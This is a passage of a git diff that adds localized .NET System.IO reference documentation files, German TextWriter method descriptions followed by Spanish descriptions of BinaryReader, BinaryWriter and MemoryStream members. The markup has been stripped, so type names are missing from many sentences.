Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichenarray asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn den Wert null ist, wird nichts geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss in die Textzeichenfolge oder den Stream. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Die Zeichenposition im , an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt durch Aufrufen der ToString-Methode für ein Objekt die Textdarstellung dieses Objekts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das zu schreibende Objekt.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + Eine Zeichenfolge oder ein Objekt wird als null übergeben. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn das Zeichenarray null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/es/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/es/System.IO.xml new file mode 100644 index 0000000..79ab9da --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/es/System.IO.xml @@ -0,0 +1,2090 @@ + + + + System.IO + + + + Lee tipos de datos primitivos como valores binarios en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase basada en la secuencia especificada y usando codificación UTF-8. + La secuencia de entrada. + La secuencia no admite la lectura, es null, o ya está cerrada. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, deja la secuencia abierta. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de o es null. + + + Expone el acceso a la secuencia subyacente de . + Secuencia subyacente asociada a BinaryReader. + 2 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Rellena el búfer interno con el número especificado de bytes leídos de la secuencia. + Número de bytes que se va a leer. + Se llega al final de la secuencia antes de se ha podido leer. + Se produce un error de E/S. + Solicitado es mayor que el tamaño del búfer interno. + + + Devuelve el siguiente carácter disponible y no hace avanzar la posición de bytes o caracteres. + Siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + No se puede descodificar el carácter actual en el búfer de caracteres interno utilizando la seleccionado para la secuencia. + 2 + + + Lee los caracteres de la secuencia subyacente y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lea de la secuencia. + Siguiente carácter de la secuencia de entrada o -1 si no hay más caracteres disponibles en este momento. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Lee el número especificado de bytes de la secuencia, a partir del punto especificado en la matriz de bytes. + Número de bytes leídos en .Podría ser inferior al número de bytes solicitado si ese número de bytes no está disponible, o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de bytes que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de caracteres de la secuencia, a partir del punto especificado en la matriz de caracteres. + Número total de caracteres leídos en el búfer.Este podría ser inferior al número de caracteres solicitado si dicho número de caracteres no se encuentra disponible o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de caracteres que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero de 32 bits en formato comprimido. + Entero de 32 bits en formato comprimido. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + La secuencia está dañada. + + + Lee un valor Boolean de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Es true si el byte es distinto de cero; en caso contrario, es false. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el siguiente byte de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Siguiente byte que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de bytes de la secuencia actual en una matriz de bytes y hace avanzar la posición actual en función del número de bytes leídos. + Matriz de bytes que contiene los datos leídos de la secuencia subyacente.Este podría ser inferior al número de bytes solicitado si se alcanza el final de la secuencia. + Número de bytes que se va a leer.Este valor debe ser 0 o un número no negativo o se producirá una excepción. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + Se produce un error de E/S. + La secuencia está cerrada. + + es negativo. + 2 + + + Lee el siguiente carácter de la secuencia actual y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lee de la secuencia. + Carácter que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + Se ha leído un carácter suplente. + 2 + + + Lee el número especificado de caracteres de la secuencia actual, devuelve los datos en una matriz de caracteres y hace avanzar la posición actual de acuerdo con la Encoding usada y el carácter concreto que se lee en la secuencia. + Matriz de caracteres que contiene los datos leídos de la secuencia subyacente.Podría ser inferior al número de caracteres solicitados si se alcanza el final de la secuencia. + Número de caracteres que se va a leer. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + La secuencia está cerrada. + Se produce un error de E/S. + + es negativo. + 2 + + + Lee un valor decimal de la secuencia actual y hace avanzar la posición actual de la secuencia dieciséis bytes. + Valor decimal que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 8 bytes de la secuencia actual y hace avanzar la posición actual de la secuencia en ocho bytes. + Valor de punto flotante de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 2 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en dos bytes. + Entero con signo de 2 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Entero con signo de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 8 bytes de la secuencia actual y avanza la posición actual de la secuencia en ocho bytes. + Entero con signo de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un byte con signo de esta secuencia y hace avanzar la posición actual de la secuencia en un byte. + Byte con signo que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Valor de punto flotante de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee una cadena de la secuencia actual.La cadena tiene como prefijo la longitud, codificada como un entero de siete bits cada vez. + Cadena que se lee. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 2 bytes de la secuencia actual con la codificación "little-endian" y hace avanzar la posición de la secuencia en dos bytes. + Entero sin signo de 2 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 4 bytes de la secuencia actual y hace avanzar la posición de la secuencia en cuatro bytes. + Entero sin signo de 4 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 8 bytes de la secuencia actual y hace avanzar la posición de la secuencia en ocho bytes. + Entero sin signo de 8 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Escribe tipos primitivos en binario en una secuencia y admite escribir cadenas en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase que escribe en una secuencia. + + + Inicializa una nueva instancia de la clase basada en la secuencia y usando codificación UTF-8. + Flujo de salida. + La secuencia no admite escritura o ya se encuentra cerrada. + + es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + Flujo de salida. + Codificación de caracteres que se utilizará. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, dejando abierta la secuencia. + Flujo de salida. + Codificación de caracteres que se utilizará. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Obtiene la secuencia subyacente del objeto . + Flujo subyacente asociado a BinaryWriter. + 1 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Especifica un objeto sin memoria auxiliar. + 1 + + + Contiene la secuencia subyacente. + + + Establece la posición en la secuencia actual. + Posición con la secuencia actual. + Desplazamiento de bytes relacionado con . + Un campo de que indica el punto de referencia del que se obtiene la nueva posición. + El puntero de archivo se ha movido a una posición no válida. + El valor de no es válido. + 1 + + + Escribe un valor Boolean de un byte en la secuencia actual, que es 0 si es false y 1 si es true. + Valor Boolean que se va a escribir (0 ó 1). + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte sin signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte sin signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una matriz de bytes en la secuencia subyacente. + Matriz de bytes que contiene los datos que se van a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es null. + 1 + + + Escribe una región de una matriz de bytes en la secuencia actual. + Matriz de bytes que contiene los datos que se van a escribir. + Punto inicial de donde comenzará la escritura. + Número de bytes que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un carácter Unicode en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en la secuencia. + El carácter Unicode no suplente que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es un carácter suplente único. + 1 + + + Escribe una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en esa secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + + es null. + La secuencia está cerrada. + Se produce un error de E/S. + 1 + + + Escribe una sección de una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y quizás los caracteres específicos que se escriben en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Punto inicial de donde se empieza a leer. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor decimal en la secuencia actual y avanza la posición de la secuencia en dieciséis bytes. + Valor decimal que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Valor de punto flotante de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero con signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero con signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero con signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte con signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte con signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Valor de punto flotante de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una cadena de longitud prefijada en esta secuencia en la codificación actual de y hace avanzar la posición actual de la secuencia de acuerdo con la codificación utilizada y los caracteres específicos escritos en dicha secuencia. + Valor que se va a escribir. + Se produce un error de E/S. + + es null. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero sin signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero sin signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero sin signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero de 32 bits en formato comprimido. + Entero de 32 bits que se va a escribir. + Se llega al final de la secuencia. + La secuencia está cerrada. + La secuencia está cerrada. + + + Excepción que se produce cuando se intenta realizar una operación de lectura más allá del final de una secuencia. + 2 + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en un mensaje proporcionado por el sistema y HRESULT establecido en COR_E_ENDOFSTREAM. + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en y HRESULT en COR_E_ENDOFSTREAM. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + + + Inicializa una nueva instancia de la clase con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Excepción que se inicia cuando el formato de un flujo de datos no es válido. + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el mensaje de error especificado. + Mensaje de error que explica la razón de la excepción. + + + Inicializa una nueva instancia de la clase con una referencia a la excepción interna que representa la causa de esta excepción. + Mensaje de error que explica la razón de la excepción. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Crea una secuencia cuya memoria auxiliar es la memoria.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada con un valor cero. + + + Inicializa una nueva instancia invariable de la clase de acuerdo con la matriz de bytes especificada. + Matriz de bytes sin signo a partir de la cual se crea la secuencia actual. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la matriz de bytes especificada con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la región especificada (índice) de una matriz de bytes. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + El valor de es null. + + o es menor que cero. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia invariable de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + o son negativos. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado y la posibilidad de llamar a establecida según lo especificado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + Es true para habilitar , que devuelve la matriz de bytes sin signo desde la cual se creó la secuencia; de lo contrario, es false. + El valor de es null. + + o es negativo. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada según lo especificado. + Tamaño inicial de la matriz interna en bytes. + + es negativo. + + + Obtiene un valor que indica si la secuencia actual admite lectura. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite búsquedas. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 2 + + + Obtiene o establece el número de bytes asignados a esta secuencia. + Longitud de la parte utilizable del búfer para la secuencia. + Se establece una capacidad de modo que sea negativa o menor que la longitud actual de la secuencia. + La secuencia actual está cerrada. + set se invoca en una secuencia cuya capacidad no se puede modificar. + 2 + + + Lee asincrónicamente todos los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer especificado y el token de cancelación. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero. + Token para supervisar solicitudes de cancelación. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Reemplaza el método de modo que no se realice ninguna acción. + 2 + + + De forma asincrónica borra todos los búferes de esta secuencia y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación. + Se ha eliminado la secuencia. + + + Obtiene la longitud de la secuencia en bytes. + Longitud de la secuencia en bytes. + La secuencia está cerrada. + 2 + + + Obtiene o establece la posición actual dentro de la secuencia. + Posición actual dentro de la secuencia. + La posición se establece en un valor negativo o un valor mayor que . + La secuencia está cerrada. + 2 + + + Lee un bloque de bytes de la secuencia actual y escribe los datos en un búfer. + Número total de bytes escritos en el búfer.Puede ser menor que el número de bytes solicitado si ese número de bytes no está disponible, o bien puede ser cero si se alcanza el final de la secuencia antes de que se lea algún byte. + Cuando este método finaliza, contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los caracteres leídos de la secuencia actual. + Posición de desplazamiento en bytes de base cero de en el que se comienza a almacenar los datos de la secuencia actual. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + + resta de la longitud del búfer es menor que . + La instancia de la secuencia actual está cerrada. + 2 + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia actual. + El byte convertido en un o -1 si se llega al final de la secuencia. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la posición dentro de la secuencia actual en el valor especificado. + Nueva posición dentro de la secuencia, calculada mediante la combinación del punto de referencia inicial y del desplazamiento. + Nueva posición dentro de la secuencia.Esta está relacionada con el parámetro y puede ser positiva o negativa. + Valor de tipo , que actúa como el punto de referencia de las operaciones de búsqueda. + Se ha intentado realizar una búsqueda antes del inicio de la secuencia. + + es mayor que . + Hay un no válido . o 